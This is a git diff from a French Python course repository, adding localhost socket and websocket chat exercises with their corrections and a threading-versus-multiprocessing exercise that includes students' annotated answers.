break + # elif len(message) <= 0: + # return f"Rentrez un message non vide." + + client.sendall(message.encode("utf-8")) + + data = client.recv(1024) + response = data.decode("utf-8") + print(f"REPONSE SERVEUR : {response}") + +if __name__ == "__main__": + main() \ No newline at end of file diff --git a/Semaine_09/Socket_chat/client_02.py b/Semaine_09/Socket_chat/client_02.py new file mode 100644 index 0000000..5b1f373 --- /dev/null +++ b/Semaine_09/Socket_chat/client_02.py @@ -0,0 +1,36 @@ +import socket +import threading +from env_var import SERVER_PORT, CLIENT_PORT + +from utils import receive_messages, send_messages + +client = socket.socket(socket.AF_INET, socket.SOCK_STREAM) +client.connect(("localhost", SERVER_PORT)) + +client_username = input("Rentrez votre pseudonyme (min 3 et max 12 caractères) pour la session > ") + +if len(client_username) < 3 \ +or len(client_username) > 12: + print(f"{client_username} contient {len(client_username)} caractères et n'est donc pas valide. Recommencez.") + quit(1) + +print(f"Bienvenue, {client_username}.") +print("🤝 Clavardage démarré. Tapez vos messages à la suite. Tapez 'QUIT' ou 'Q' pour quitter.") +print() + +client.sendall(f"USERNAME >>> {client_username}".encode("utf-8")) + +thread_recv = threading.Thread(target=receive_messages, args=(client,)) +thread_send = threading.Thread(target=send_messages, args=(client, client_username)) + +thread_recv.daemon = False +thread_send.daemon = True + +thread_recv.start() +thread_send.start() + +thread_recv.join() +thread_send.join() + +client.close() +print("❌ Connexion fermée.") diff --git a/Semaine_09/Socket_chat/client_correction.py b/Semaine_09/Socket_chat/client_correction.py new file mode 100644 index 0000000..69d490f --- /dev/null +++ b/Semaine_09/Socket_chat/client_correction.py @@ -0,0 +1,24 @@ +#client +import socket +import threading + +from utils import receive_messages, send_messages + +client_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) +client_socket.connect(("localhost", 9999)) + +pseudo = input("Choisissez votre pseudo : ") +client_socket.send(pseudo.encode()) + +print(f"Connecté au chat en tant que {pseudo} !\n") + +thread_recv = threading.Thread(target=receive_messages, args=(client_socket,)) +thread_send = threading.Thread(target=send_messages, args=(client_socket,)) + +thread_recv.start() +thread_send.start() + +thread_recv.join() +thread_send.join() + +print("Chat terminé.") \ No newline at end of file diff --git a/Semaine_09/Socket_chat/client_websocket.py b/Semaine_09/Socket_chat/client_websocket.py new file mode 100644 index 0000000..4b441b9 --- /dev/null +++ b/Semaine_09/Socket_chat/client_websocket.py @@ -0,0 +1,23 @@ +# client +import asyncio +import websockets + +async def recevoir(websocket): + async for message in websocket: + print(f"\n[Message reçu] {message}") + +async def envoyer(websocket): + while True: + message = await asyncio.get_event_loop().run_in_executor(None, input, "Vous : ") + await websocket.send(message) + +async def main(): + uri = "ws://localhost:8765" + async with websockets.connect(uri) as websocket: + print("Connecté au chat. Tapez vos messages.") + await asyncio.gather( + recevoir(websocket), + envoyer(websocket), + ) + +asyncio.run(main()) \ No newline at end of file diff --git a/Semaine_09/Socket_chat/env_var.py b/Semaine_09/Socket_chat/env_var.py new file mode 100644 index 0000000..20f023e --- /dev/null +++ b/Semaine_09/Socket_chat/env_var.py @@ -0,0 +1,2 @@ +SERVER_PORT = 9001 +CLIENT_PORT = 9002 \ No newline at end of file diff --git a/Semaine_09/Socket_chat/exercice_01.md b/Semaine_09/Socket_chat/exercice_01.md new file mode 100644 index 0000000..fcc5e7e --- /dev/null +++ b/Semaine_09/Socket_chat/exercice_01.md @@ -0,0 +1,16 @@ +## Exercice : chat multi-utilisateurs avec pseudo + +### Consigne + +Créez un système de chat qui permet à **plusieurs clients** de se connecter en même temps à un serveur. Chaque client choisit un pseudo à la connexion, et tous les messages sont diffusés à l'ensemble des participants avec le pseudo de l'expéditeur. + +**Fonctionnalités attendues :** + +1. Le serveur accepte plusieurs connexions simultanées (un thread par client) +2. À la connexion, le client envoie son pseudo en premier message +3. Le serveur annonce l'arrivée du nouveau participant à tous les autres +4. Quand un client envoie un message, le serveur le redistribue à tous les autres clients (pas à l'expéditeur) +5. Quand un client se déconnecte (ou tape `quit`), le serveur prévient les autres +6. Le client utilise deux threads : un pour envoyer, un pour recevoir (comme dans la version full-duplex) + +**Exemple d'échange vu par un client :** \ No newline at end of file diff --git a/Semaine_09/Socket_chat/main.py b/Semaine_09/Socket_chat/main.py new file mode 100644 index 0000000..1505048 --- /dev/null +++ b/Semaine_09/Socket_chat/main.py @@ -0,0 +1,6 @@ +def main(): + print("Hello from socket-chat!") + + +if __name__ == "__main__": + main() diff --git a/Semaine_09/Socket_chat/pyproject.toml b/Semaine_09/Socket_chat/pyproject.toml new file mode 100644 index 0000000..da9b66a --- /dev/null +++ b/Semaine_09/Socket_chat/pyproject.toml @@ -0,0 +1,9 @@ +[project] +name = "socket-chat" +version = "0.1.0" +description = "Add your description here" +readme = "README.md" +requires-python = ">=3.12" +dependencies = [ + "websockets>=16.0", +] diff --git a/Semaine_09/Socket_chat/server.py b/Semaine_09/Socket_chat/server.py new file mode 100644 index 0000000..d8f0c23 --- /dev/null +++ b/Semaine_09/Socket_chat/server.py @@ -0,0 +1,48 @@ +import socket, threading +from env_var import SERVER_PORT, CLIENT_PORT + +def handle_connection(client): + while True: + data = client.recv(1024) + if not data: + break + + message = data.decode("utf-8") + print(f"MESSAGE RECU : {message}") + + response = f"MESSAGE RECU PAR LE SERVEUR : {message}" + client.sendall(response.encode("utf-8")) + + client.close() + +def main(): + server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) + + server.bind(("localhost", SERVER_PORT)) + server.listen(5) + + print(f"🤝 Clavardage démarré sur port {SERVER_PORT}. En attente de client.") + + while True: + client, client_address = server.accept() + + client_thread_receive = threading.Thread( + target= handle_connection, + args=(client,) + ) + client_thread_sending = threading.Thread( + target= handle_connection, + args=(client,) + ) + client_thread_receive.start() + client_thread_sending.start() + client_thread_receive.join() + client_thread_sending.join() + + print(f"Client connecté : {client_address}") + print(f"Serveur de clavardage prêt.") + print() + +if __name__ == "__main__": + main() \ No newline at end of file diff --git a/Semaine_09/Socket_chat/server_02.py b/Semaine_09/Socket_chat/server_02.py new file mode 100644 index 0000000..02a28f9 --- /dev/null +++ b/Semaine_09/Socket_chat/server_02.py @@ -0,0 +1,44 @@ +import socket +import threading +from env_var import SERVER_PORT, CLIENT_PORT + +from utils import receive_messages, send_messages + +server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) +server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) +server.bind(("localhost", SERVER_PORT)) +server.listen(5) + +print("👥 Chat démarré, en attente de client...") + +client, client_address = server.accept() +print(f"Client connecté : {client_address}") + +try: + username_msg = client.recv(1024).decode("utf-8") + if username_msg.startswith("USERNAME:"): + client_username = username_msg.split(":", 1)[1] + print(f"✅ {client_username} a rejoint le salon.") + else: + client_username = "Anonyme" +except: + client_username = "Anonyme" + print(f"⚠️ Impossible de recevoir le pseudo du client.") + +print(f"🤝 Clavardage démarré sur port {SERVER_PORT}.") + +thread_recv = threading.Thread(target=receive_messages, args=(client,)) +thread_send = threading.Thread(target=send_messages, args=(client, "[SERVEUR]")) + +thread_recv.daemon = False +thread_send.daemon = True + +thread_recv.start() +thread_send.start() + +thread_recv.join() +thread_send.join() + +client.close() +server.close() +print(f"❌ {client_username} s'est déconnecté. Serveur fermé.") \ No newline at end of file diff --git a/Semaine_09/Socket_chat/server_correction.py b/Semaine_09/Socket_chat/server_correction.py new file mode 100644 index 0000000..12aa390 --- /dev/null +++ b/Semaine_09/Socket_chat/server_correction.py @@ -0,0 +1,54 @@ +# server +import socket +import threading + +clients = [] +lock = threading.Lock() + +def broadcast(message, sender_socket=None): + with lock: + for client_socket, pseudo in clients: + if client_socket != sender_socket: + try: + client_socket.send(message.encode()) + except: + pass + +def handle_client(client_socket, client_address): + pseudo = client_socket.recv(4096).decode().strip() + with lock: + clients.append((client_socket, pseudo)) + + print(f"{pseudo} ({client_address}) a rejoint le chat.") + broadcast(f"[{pseudo} a rejoint le chat]", sender_socket=client_socket) + + while True: + try: + message = client_socket.recv(4096).decode() + + if not message or message.lower() == "quit": + break + + print(f"{pseudo} : {message}") + broadcast(f"{pseudo} : {message}", sender_socket=client_socket) + except: + break + + with lock: + clients.remove((client_socket, pseudo)) + client_socket.close() + + print(f"{pseudo} a quitté le chat.") + broadcast(f"[{pseudo} a quitté le chat]") + +server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) +server_socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) +server_socket.bind(("localhost", 9999)) +server_socket.listen(5) + +print("Serveur de chat multi-utilisateurs démarré sur le port 9999...") + +while True: + client_socket, client_address = server_socket.accept() + thread = threading.Thread(target=handle_client, args=(client_socket, client_address)) + thread.start() \ No newline at end of file diff --git a/Semaine_09/Socket_chat/server_websocket.py b/Semaine_09/Socket_chat/server_websocket.py new file mode 100644 index 0000000..5d8146a --- /dev/null +++ b/Semaine_09/Socket_chat/server_websocket.py @@ -0,0 +1,28 @@ +# server +import asyncio +import websockets + +clients_connectes : set[websockets.ServerConnection] = set() + +async def handle_client(websocket: websockets.ServerConnection): + clients_connectes.add(websocket) + print(f"Connexion : {websocket.remote_address} — {len(clients_connectes)} client(s) connecté(s)") + + try: + async for message in websocket: + print(f"Message de {websocket.remote_address} : {message}") + destinataires = clients_connectes - {websocket} + if destinataires: + await asyncio.gather( + *[client.send(message) for client in destinataires] + ) + finally: + clients_connectes.discard(websocket) + print(f"Déconnexion : {websocket.remote_address} — {len(clients_connectes)} client(s) restant(s)") + +async def main(): + async with websockets.serve(handle_client, "localhost", 8765): + print("Serveur de chat sur ws://localhost:8765") + await asyncio.Future() + +asyncio.run(main()) \ No newline at end of file diff --git a/Semaine_09/Socket_chat/utils.py b/Semaine_09/Socket_chat/utils.py new file mode 100644 index 0000000..c1c1cd8 --- /dev/null +++ b/Semaine_09/Socket_chat/utils.py @@ -0,0 +1,32 @@ +import socket + +def receive_messages(sock: socket.socket): + while True: + try: + message = sock.recv(4096).decode() + if not message: + print("\nConnexion fermée.") + sock.close() + break + if message.startswith("QUIT:"): + print(f"\n{message.split(':', 1)[1]} s'est déconnecté.") + sock.close() + break + print(f"\n{message}") + print("Vous > ", end="", flush=True) + except: + break + +def send_messages(sock: socket.socket, username: str): + while True: + try: + message = input("Vous > ") + if message.upper() == 'Q' \ + or message.upper() == 'QUIT': + sock.sendall(f"QUIT:{username}".encode()) + break + if message: + complete_message = f"{username} > {message}" + sock.sendall(complete_message.encode()) + except: + break \ No newline at end of file diff --git a/Semaine_09/Socket_chat/uv.lock b/Semaine_09/Socket_chat/uv.lock new file mode 100644 index 0000000..7e4c838 --- /dev/null +++ b/Semaine_09/Socket_chat/uv.lock @@ -0,0 +1,59 @@ +version = 1 +revision = 3 +requires-python = ">=3.12" + +[[package]] +name = "socket-chat" +version = "0.1.0" +source = { virtual = "." } +dependencies = [ + { name = "websockets" }, +] + +[package.metadata] +requires-dist = [{ name = "websockets", specifier = ">=16.0" }] + +[[package]] +name = "websockets" +version = "16.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/04/24/4b2031d72e840ce4c1ccb255f693b15c334757fc50023e4db9537080b8c4/websockets-16.0.tar.gz", hash = "sha256:5f6261a5e56e8d5c42a4497b364ea24d94d9563e8fbd44e78ac40879c60179b5", size = 179346, upload-time = "2026-01-10T09:23:47.181Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/84/7b/bac442e6b96c9d25092695578dda82403c77936104b5682307bd4deb1ad4/websockets-16.0-cp312-cp312-macosx_10_13_universal2.whl", hash = "sha256:71c989cbf3254fbd5e84d3bff31e4da39c43f884e64f2551d14bb3c186230f00", size = 177365, upload-time = "2026-01-10T09:22:46.787Z" }, + { url = "https://files.pythonhosted.org/packages/b0/fe/136ccece61bd690d9c1f715baaeefd953bb2360134de73519d5df19d29ca/websockets-16.0-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:8b6e209ffee39ff1b6d0fa7bfef6de950c60dfb91b8fcead17da4ee539121a79", size = 175038, upload-time = "2026-01-10T09:22:47.999Z" }, + { url = "https://files.pythonhosted.org/packages/40/1e/9771421ac2286eaab95b8575b0cb701ae3663abf8b5e1f64f1fd90d0a673/websockets-16.0-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:86890e837d61574c92a97496d590968b23c2ef0aeb8a9bc9421d174cd378ae39", size = 175328, upload-time = "2026-01-10T09:22:49.809Z" }, + { url = "https://files.pythonhosted.org/packages/18/29/71729b4671f21e1eaa5d6573031ab810ad2936c8175f03f97f3ff164c802/websockets-16.0-cp312-cp312-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:9b5aca38b67492ef518a8ab76851862488a478602229112c4b0d58d63a7a4d5c", size = 184915, upload-time = "2026-01-10T09:22:51.071Z" }, + { url = "https://files.pythonhosted.org/packages/97/bb/21c36b7dbbafc85d2d480cd65df02a1dc93bf76d97147605a8e27ff9409d/websockets-16.0-cp312-cp312-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:e0334872c0a37b606418ac52f6ab9cfd17317ac26365f7f65e203e2d0d0d359f", size = 186152, upload-time = "2026-01-10T09:22:52.224Z" }, + { url = "https://files.pythonhosted.org/packages/4a/34/9bf8df0c0cf88fa7bfe36678dc7b02970c9a7d5e065a3099292db87b1be2/websockets-16.0-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:a0b31e0b424cc6b5a04b8838bbaec1688834b2383256688cf47eb97412531da1", size = 185583, upload-time = "2026-01-10T09:22:53.443Z" }, + { url = "https://files.pythonhosted.org/packages/47/88/4dd516068e1a3d6ab3c7c183288404cd424a9a02d585efbac226cb61ff2d/websockets-16.0-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:485c49116d0af10ac698623c513c1cc01c9446c058a4e61e3bf6c19dff7335a2", size = 184880, upload-time = "2026-01-10T09:22:55.033Z" }, + { url = "https://files.pythonhosted.org/packages/91/d6/7d4553ad4bf1c0421e1ebd4b18de5d9098383b5caa1d937b63df8d04b565/websockets-16.0-cp312-cp312-win32.whl", hash = "sha256:eaded469f5e5b7294e2bdca0ab06becb6756ea86894a47806456089298813c89", size = 178261, upload-time = "2026-01-10T09:22:56.251Z" }, + { url = "https://files.pythonhosted.org/packages/c3/f0/f3a17365441ed1c27f850a80b2bc680a0fa9505d733fe152fdf5e98c1c0b/websockets-16.0-cp312-cp312-win_amd64.whl", hash = "sha256:5569417dc80977fc8c2d43a86f78e0a5a22fee17565d78621b6bb264a115d4ea", size = 178693, upload-time = "2026-01-10T09:22:57.478Z" }, + { url = "https://files.pythonhosted.org/packages/cc/9c/baa8456050d1c1b08dd0ec7346026668cbc6f145ab4e314d707bb845bf0d/websockets-16.0-cp313-cp313-macosx_10_13_universal2.whl", hash = "sha256:878b336ac47938b474c8f982ac2f7266a540adc3fa4ad74ae96fea9823a02cc9", size = 177364, upload-time = "2026-01-10T09:22:59.333Z" }, + { url = "https://files.pythonhosted.org/packages/7e/0c/8811fc53e9bcff68fe7de2bcbe75116a8d959ac699a3200f4847a8925210/websockets-16.0-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:52a0fec0e6c8d9a784c2c78276a48a2bdf099e4ccc2a4cad53b27718dbfd0230", size = 175039, upload-time = "2026-01-10T09:23:01.171Z" }, + { url = "https://files.pythonhosted.org/packages/aa/82/39a5f910cb99ec0b59e482971238c845af9220d3ab9fa76dd9162cda9d62/websockets-16.0-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:e6578ed5b6981005df1860a56e3617f14a6c307e6a71b4fff8c48fdc50f3ed2c", size = 175323, upload-time = "2026-01-10T09:23:02.341Z" }, + { url = "https://files.pythonhosted.org/packages/bd/28/0a25ee5342eb5d5f297d992a77e56892ecb65e7854c7898fb7d35e9b33bd/websockets-16.0-cp313-cp313-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:95724e638f0f9c350bb1c2b0a7ad0e83d9cc0c9259f3ea94e40d7b02a2179ae5", size = 184975, upload-time = "2026-01-10T09:23:03.756Z" }, + { url = "https://files.pythonhosted.org/packages/f9/66/27ea52741752f5107c2e41fda05e8395a682a1e11c4e592a809a90c6a506/websockets-16.0-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:c0204dc62a89dc9d50d682412c10b3542d748260d743500a85c13cd1ee4bde82", size = 186203, upload-time = "2026-01-10T09:23:05.01Z" }, + { url = "https://files.pythonhosted.org/packages/37/e5/8e32857371406a757816a2b471939d51c463509be73fa538216ea52b792a/websockets-16.0-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:52ac480f44d32970d66763115edea932f1c5b1312de36df06d6b219f6741eed8", size = 185653, upload-time = "2026-01-10T09:23:06.301Z" }, + { url = "https://files.pythonhosted.org/packages/9b/67/f926bac29882894669368dc73f4da900fcdf47955d0a0185d60103df5737/websockets-16.0-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:6e5a82b677f8f6f59e8dfc34ec06ca6b5b48bc4fcda346acd093694cc2c24d8f", size = 184920, upload-time = "2026-01-10T09:23:07.492Z" }, + { url = "https://files.pythonhosted.org/packages/3c/a1/3d6ccdcd125b0a42a311bcd15a7f705d688f73b2a22d8cf1c0875d35d34a/websockets-16.0-cp313-cp313-win32.whl", hash = "sha256:abf050a199613f64c886ea10f38b47770a65154dc37181bfaff70c160f45315a", size = 178255, upload-time = "2026-01-10T09:23:09.245Z" }, + { url = "https://files.pythonhosted.org/packages/6b/ae/90366304d7c2ce80f9b826096a9e9048b4bb760e44d3b873bb272cba696b/websockets-16.0-cp313-cp313-win_amd64.whl", hash = "sha256:3425ac5cf448801335d6fdc7ae1eb22072055417a96cc6b31b3861f455fbc156", size = 178689, upload-time = "2026-01-10T09:23:10.483Z" }, + { url = "https://files.pythonhosted.org/packages/f3/1d/e88022630271f5bd349ed82417136281931e558d628dd52c4d8621b4a0b2/websockets-16.0-cp314-cp314-macosx_10_15_universal2.whl", hash = "sha256:8cc451a50f2aee53042ac52d2d053d08bf89bcb31ae799cb4487587661c038a0", size = 177406, upload-time = "2026-01-10T09:23:12.178Z" }, + { url = "https://files.pythonhosted.org/packages/f2/78/e63be1bf0724eeb4616efb1ae1c9044f7c3953b7957799abb5915bffd38e/websockets-16.0-cp314-cp314-macosx_10_15_x86_64.whl", hash = "sha256:daa3b6ff70a9241cf6c7fc9e949d41232d9d7d26fd3522b1ad2b4d62487e9904", size = 175085, upload-time = "2026-01-10T09:23:13.511Z" }, + { url = "https://files.pythonhosted.org/packages/bb/f4/d3c9220d818ee955ae390cf319a7c7a467beceb24f05ee7aaaa2414345ba/websockets-16.0-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:fd3cb4adb94a2a6e2b7c0d8d05cb94e6f1c81a0cf9dc2694fb65c7e8d94c42e4", size = 175328, upload-time = "2026-01-10T09:23:14.727Z" }, + { url = "https://files.pythonhosted.org/packages/63/bc/d3e208028de777087e6fb2b122051a6ff7bbcca0d6df9d9c2bf1dd869ae9/websockets-16.0-cp314-cp314-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:781caf5e8eee67f663126490c2f96f40906594cb86b408a703630f95550a8c3e", size = 185044, upload-time = "2026-01-10T09:23:15.939Z" }, + { url = "https://files.pythonhosted.org/packages/ad/6e/9a0927ac24bd33a0a9af834d89e0abc7cfd8e13bed17a86407a66773cc0e/websockets-16.0-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:caab51a72c51973ca21fa8a18bd8165e1a0183f1ac7066a182ff27107b71e1a4", size = 186279, upload-time = "2026-01-10T09:23:17.148Z" }, + { url = "https://files.pythonhosted.org/packages/b9/ca/bf1c68440d7a868180e11be653c85959502efd3a709323230314fda6e0b3/websockets-16.0-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:19c4dc84098e523fd63711e563077d39e90ec6702aff4b5d9e344a60cb3c0cb1", size = 185711, upload-time = "2026-01-10T09:23:18.372Z" }, + { url = "https://files.pythonhosted.org/packages/c4/f8/fdc34643a989561f217bb477cbc47a3a07212cbda91c0e4389c43c296ebf/websockets-16.0-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:a5e18a238a2b2249c9a9235466b90e96ae4795672598a58772dd806edc7ac6d3", size = 184982, upload-time = "2026-01-10T09:23:19.652Z" }, + { url = "https://files.pythonhosted.org/packages/dd/d1/574fa27e233764dbac9c52730d63fcf2823b16f0856b3329fc6268d6ae4f/websockets-16.0-cp314-cp314-win32.whl", hash = "sha256:a069d734c4a043182729edd3e9f247c3b2a4035415a9172fd0f1b71658a320a8", size = 177915, upload-time = "2026-01-10T09:23:21.458Z" }, + { url = "https://files.pythonhosted.org/packages/8a/f1/ae6b937bf3126b5134ce1f482365fde31a357c784ac51852978768b5eff4/websockets-16.0-cp314-cp314-win_amd64.whl", hash = "sha256:c0ee0e63f23914732c6d7e0cce24915c48f3f1512ec1d079ed01fc629dab269d", size = 178381, upload-time = "2026-01-10T09:23:22.715Z" }, + { url = "https://files.pythonhosted.org/packages/06/9b/f791d1db48403e1f0a27577a6beb37afae94254a8c6f08be4a23e4930bc0/websockets-16.0-cp314-cp314t-macosx_10_15_universal2.whl", hash = "sha256:a35539cacc3febb22b8f4d4a99cc79b104226a756aa7400adc722e83b0d03244", size = 177737, upload-time = "2026-01-10T09:23:24.523Z" }, + { url = "https://files.pythonhosted.org/packages/bd/40/53ad02341fa33b3ce489023f635367a4ac98b73570102ad2cdd770dacc9a/websockets-16.0-cp314-cp314t-macosx_10_15_x86_64.whl", hash = "sha256:b784ca5de850f4ce93ec85d3269d24d4c82f22b7212023c974c401d4980ebc5e", size = 175268, upload-time = "2026-01-10T09:23:25.781Z" }, + { url = "https://files.pythonhosted.org/packages/74/9b/6158d4e459b984f949dcbbb0c5d270154c7618e11c01029b9bbd1bb4c4f9/websockets-16.0-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:569d01a4e7fba956c5ae4fc988f0d4e187900f5497ce46339c996dbf24f17641", size = 175486, upload-time = "2026-01-10T09:23:27.033Z" }, + { url = "https://files.pythonhosted.org/packages/e5/2d/7583b30208b639c8090206f95073646c2c9ffd66f44df967981a64f849ad/websockets-16.0-cp314-cp314t-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:50f23cdd8343b984957e4077839841146f67a3d31ab0d00e6b824e74c5b2f6e8", size = 185331, upload-time = "2026-01-10T09:23:28.259Z" }, + { url = "https://files.pythonhosted.org/packages/45/b0/cce3784eb519b7b5ad680d14b9673a31ab8dcb7aad8b64d81709d2430aa8/websockets-16.0-cp314-cp314t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:152284a83a00c59b759697b7f9e9cddf4e3c7861dd0d964b472b70f78f89e80e", size = 186501, upload-time = "2026-01-10T09:23:29.449Z" }, + { url = "https://files.pythonhosted.org/packages/19/60/b8ebe4c7e89fb5f6cdf080623c9d92789a53636950f7abacfc33fe2b3135/websockets-16.0-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:bc59589ab64b0022385f429b94697348a6a234e8ce22544e3681b2e9331b5944", size = 186062, upload-time = "2026-01-10T09:23:31.368Z" }, + { url = "https://files.pythonhosted.org/packages/88/a8/a080593f89b0138b6cba1b28f8df5673b5506f72879322288b031337c0b8/websockets-16.0-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:32da954ffa2814258030e5a57bc73a3635463238e797c7375dc8091327434206", size = 185356, upload-time = "2026-01-10T09:23:32.627Z" }, + { url = "https://files.pythonhosted.org/packages/c2/b6/b9afed2afadddaf5ebb2afa801abf4b0868f42f8539bfe4b071b5266c9fe/websockets-16.0-cp314-cp314t-win32.whl", hash = "sha256:5a4b4cc550cb665dd8a47f868c8d04c8230f857363ad3c9caf7a0c3bf8c61ca6", size = 178085, upload-time = "2026-01-10T09:23:33.816Z" }, + { url = "https://files.pythonhosted.org/packages/9f/3e/28135a24e384493fa804216b79a6a6759a38cc4ff59118787b9fb693df93/websockets-16.0-cp314-cp314t-win_amd64.whl", hash = "sha256:b14dc141ed6d2dde437cddb216004bcac6a1df0935d79656387bd41632ba0bbd", size = 178531, upload-time = "2026-01-10T09:23:35.016Z" }, + { url = "https://files.pythonhosted.org/packages/6f/28/258ebab549c2bf3e64d2b0217b973467394a9cea8c42f70418ca2c5d0d2e/websockets-16.0-py3-none-any.whl", hash = "sha256:1637db62fad1dc833276dded54215f2c7fa46912301a24bd94d45d46a011ceec", size = 171598, upload-time = "2026-01-10T09:23:45.395Z" }, +] diff --git a/Semaine_09/Threading_Process/.python-version b/Semaine_09/Threading_Process/.python-version new file mode 100644 index 0000000..e4fba21 --- /dev/null +++ b/Semaine_09/Threading_Process/.python-version @@ -0,0 +1 @@ +3.12 diff --git a/Semaine_09/Threading_Process/02_threading_vs_multiprocessing_exos.pdf b/Semaine_09/Threading_Process/02_threading_vs_multiprocessing_exos.pdf new file mode 100644 index 0000000..a0e0c81 Binary files /dev/null and b/Semaine_09/Threading_Process/02_threading_vs_multiprocessing_exos.pdf differ diff --git a/Semaine_09/Threading_Process/README.md b/Semaine_09/Threading_Process/README.md new file mode 100644 index 0000000..e69de29 diff --git a/Semaine_09/Threading_Process/exo.py b/Semaine_09/Threading_Process/exo.py new file mode 100644 index 0000000..2a4a9f9 --- /dev/null +++ b/Semaine_09/Threading_Process/exo.py @@ -0,0 +1,204 @@ +### Exercice 1 + +""" +Pour chaque situation, indiquer si l'usage demande : +- du Threading +- du MultiProcessing +- Aucun des deux + +1. Vous développez un script qui télécharge 50 fichiers PDF depuis un serveur distant + ==> Threading ✅ + +2. Votre programme doit appliquer un filtre de flou sur 500 images HD + ==> MultiProcessing ✅ + +3. Vous écrivez un ChatBot qui écoute les messages de 10 utilisateurs simultanés sur un serveur socket + ==> Threading ✅ + +4. Votre script lit un fichier CSV de 20 lignes et affiche le résultat dans la console + ==> MultiProcessing ⛔ (Aucun des deux) + +5. Vous devez entraîner 4 modèles de Machine Learning indépendants sur des jeux de données différents + ==> Threading ⛔ (Multiprocessing) + +6. Votre appli web doit envoyer un courriel de confirmation et une notification Slack à chaque inscription + ==> Threading asynchrone ✅ + +7. Vous écrivez un script qui calcule les nombres premiers jusqu'à 10 millions, en découpant la plage en 4 sous-plages + ==> MultiProcessing ✅ + +8. Votre programme doit surveiller 3 dossiers en même temps et réagir quand un nouveau fichier apparaît + ==> Threading ✅ +""" + +### Exercice 2 + +import os, time, requests +from threading import Thread, current_thread +from multiprocessing import current_process + +def io_bound(sec): + pid = os.getpid() + thread_name = current_thread().name + process_name = current_process().name + print(f"{pid} - {process_name} - {thread_name} => Start sleeping...") + time.sleep(sec) + print(f"{pid} - {process_name} - {thread_name} => Stop sleeping...") + +def cpu_bound(n): + pid = os.getpid() + thread_name = current_thread().name + process_name = current_process().name + print(f"{pid} - {process_name} - {thread_name} => Start counting...") + while n > 0: + n -= 1 + print(f"{pid} - {process_name} - {thread_name} => Stop counting...") + +###### Partie A : IO-bound + +URLS = [ + "https://httpbin.org/get", + "https://httpbin.org/ip", + "https://httpbin.org/user-agent", + "https://httpbin.org/headers", + "https://httpbin.org/uuid", + "https://httpbin.org/base64/SWYgeW91IGNhbiByZWFkIHRoaXMsIGJyYXZvICE=", + "https://httpbin.org/bytes/100", + "https://httpbin.org/delay/0", +] + +SLEEP = 1 + +def get_status_sequential(urls: list[str]): + for url in urls: + time.sleep(SLEEP) + print(f"\ + URL : {url}\n\ + Status : {requests.get(url).status_code}") + +def get_status_threading(urls: list[str]): + results = {} + threads = [] + + def fetch_url(url): + pid = os.getpid() + thread_name = current_thread().name + process_name = current_process().name + print(f"{pid} - {process_name} - {thread_name} => Fetching {url}...") + status = requests.get(url).status_code + results[url] = status + print(f"{pid} - {process_name} - {thread_name} => {url}: {status}") + + for url in urls: + thread = Thread(target=fetch_url, args=(url,)) + threads.append(thread) + thread.start() + + for thread in threads: + thread.join() + + return results + +if __name__ == "__main__": + print("\n--- Sequential Approach ---") + start_time = time.perf_counter() + get_status_sequential(URLS) + end_time = time.perf_counter() + seq_time = end_time - start_time + print(f"Sequential time: {seq_time:.2f} seconds") + + print("\n--- Threading Approach ---") + start_time = time.perf_counter() + get_status_threading(URLS) + end_time = time.perf_counter() + thread_time = end_time - start_time + print(f"Threading time: {thread_time:.2f} seconds") + +###### Partie B : CPU-bound + +import hashlib +from multiprocessing import Manager, Process + +def calculer_hash(donnee): + for _ in range(500_000): # travail CPU intentionnellement lourd + hashlib.sha256(donnee.encode()).hexdigest() + return hashlib.sha256(donnee.encode()).hexdigest() + +DONNEES = ["alpha", "beta", "gamma", "delta"] + +def get_hash_sequential(data_set: list[str]): + hash_results = [] + for data in data_set: + hash_result = calculer_hash(data) + print(hash_result) + hash_results.append(hash_result) + return hash_results + +def get_hash_threading(data_set: list[str]): + results = {} + threads = [] + + def hash_calculus(data): + pid = os.getpid() + thread_name = current_thread().name + process_name = current_process().name + print(f"{pid} - {process_name} - {thread_name} => Hashing {data}...") + result = calculer_hash(data) + results[data] = result + print(f"{pid} - {process_name} - {thread_name} => {data}: {result}") + + for data in data_set: + thread = Thread(target=hash_calculus, args=(data,)) + threads.append(thread) + thread.start() + + for thread in threads: + thread.join() + + return results + +def hash_calculus(data, results): + pid = os.getpid() + thread_name = current_thread().name + process_name = current_process().name + print(f"{pid} - {process_name} - {thread_name} => Hashing {data}...") + result 